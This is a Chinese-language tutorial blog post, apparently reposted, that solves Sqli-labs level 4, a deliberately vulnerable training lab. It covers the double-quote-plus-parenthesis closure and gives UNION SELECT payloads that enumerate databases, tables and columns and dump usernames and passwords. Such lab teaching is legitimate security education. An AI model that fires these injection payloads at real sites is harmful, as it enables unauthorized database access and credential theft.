SQL注入实战——Sqli-labs第4关实战攻破:括号闭合的字符型注入详解

admin 2025-12-27 02:00:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解Sqli-labs第4关的括号闭合字符型SQL注入实战。通过分析报错推断后端结构,演示了UNIONSELECT联合查询获取数据库信息、表结构及凭证的完整流程。文章包含自动化脚本思路,适合学习特殊闭合场景的注入利用技巧。 综合评分: 81 文章分类: WEB安全,渗透测试,漏洞POC


cover_image

SQL注入实战——Sqli-labs第4关实战攻破:括号闭合的字符型注入详解

原创

武文学网安

武文学网安

2025年12月26日 04:30 西藏

大家好,我是武文。今天我们继续实战SQL注入,攻破Sqli-labs第4关,这是一个典型的括号闭合字符型注入关卡。通过这一关,我们将学会如何处理带括号的SQL注入场景,这是实际渗透测试中经常遇到的类型。

一、关卡环境分析

1.1 关卡特点

第4关与前3关有明显不同:

  • 页面URL:http://localhost/sqli-labs/Less-4/
  • 注入类型:字符型注入,带括号闭合
  • 数据库:MySQL
  • 难度:中等(需要正确识别闭合方式)

1.2 页面表现

访问?id=1,正常显示用户信息:

二、注入点探测与闭合方式判断

2.1 第一步:基础探测

测试1:单引号测试

id?=1'

页面正常,没有报错,分析单引号可能被转义或不是单引号闭合

测试2:双引号测试

id?=1"

响应报错。

关键信息:错误信息显示 "1""),说明:

  1. 使用了双引号闭合
  2. 有括号存在

错误信息:near '"1"") LIMIT 0,1'

  • "1"" 说明我们输入的 1" 变成了 "1""
  • 最后的 ) 是SQL语句自带的括号

推导出后端SQL查询结构:SELECT*FROM users WHERE id=(“$id”)LIMIT0,1;

2.2 第二步:确认闭合方式

测试3:闭合括号测试

?id=1") --+       #注释掉后台末尾的双引号和括号

页面正常显示。成功! 确认闭合方式为:") 闭合

测试4:验证闭合

?id=1") and ("1"="1?id=1") and ("1"="2

第一条响应页面正常

第二条响应页面空白。可以得出结论:完全确认注入点为字符型,双引号闭合,带有括号。

三、信息收集阶段

和前面第一关的验证方式很像。SQL注入实战:在 information_schema 地图中,从理论走向攻击台可以参考。

3.1 确定查询列数

方法1:使用order by

?id=1") order by 1 --+?id=1") order by 2 --+?id=1") order by 3 --+?id=1") order by 4 --+

直到order by 1~3的页面响应均是正常的

order by 4页面响应报错,Unknown column ‘4’ in ‘order clause’,如下图:

可以得出结论,查询列数为3列。

方法2:使用union select验证

?id=-1") union select 1,2,3 --+

响应:页面显示数字2和3的位置,说明第2、3列是显示位。我们就可以通过显示位来显示出查询的信息。

3.2 获取数据库信息

当前数据库信息

?id=-1") union select 1,database(),version() --+

可以得到当前数据库:security,版本为10.1.38-MariaDB

当前用户信息

?id=1") union select 1,user(),3 --+

当前用户为:root@localhost

四、深入数据提取

4.1 获取所有数据库名

?id=1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+)

结果

challenges,dvwa,information_schema,mysql,performance_schema,phpmyadmin,security,test

4.2 获取security数据库的所有表

?id=1") union select 1,(select group_concat(table_name) from information_schema.tables  where table_schema='security'),3 --+)

结果emails,referers,uagents,users

4.3 获取users表结构

?id=1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),3 --+)

可以得到emails的结构:id,email_id

?id=1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 --+)

可以得到users的结构:id,username,password

4.4 提取用户凭证数据

一次性获取所有用户

?id=1") union select 1,(select group_concat(username,':',password)from users),(select group_concat(password) from users),3 --+

得到结果:

五、自动化脚本实现

虽然手工测试很重要,但实际工作中我们会使用脚本提高效率:我这里还是用jupyter notebook来实验。

这里也是借助了AI帮我完成了脚本的编写。脚本实现了探测注入点,获取数据库基本信息和对应表格字段等信息。这里仅展示部分结果信息

测试脚本我依然放在了仓库github.com/Demonwuwen/cyberSecuritylearn,需要的同学可以自取。

六、技术要点总结与反思

通过本次Sqli-labs第4关的实战,我们成功掌握了括号闭合字符型注入的核心技术。这一关虽然看似简单,却蕴含着重要的实战技巧:

关键技能掌握

  1. 闭合方式精准识别:从错误信息 "1"") 中准确推断出SQL结构 WHERE id=("$id")
  2. 系统化测试流程:从基础探测 → 闭合判断 → 列数确认 → 数据提取的完整链条
  3. 灵活运用注释技巧--+注释方式的实际应用

下期预告:我们将挑战更复杂的Sqli-labs第5关——基于错误的单引号盲注,探索在没有明显数据回显的情况下如何提取信息。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安《SQL注入实战——Sqli-labs第4关实战攻破:括号闭合的字符型注入详解》

评论:0   参与:  0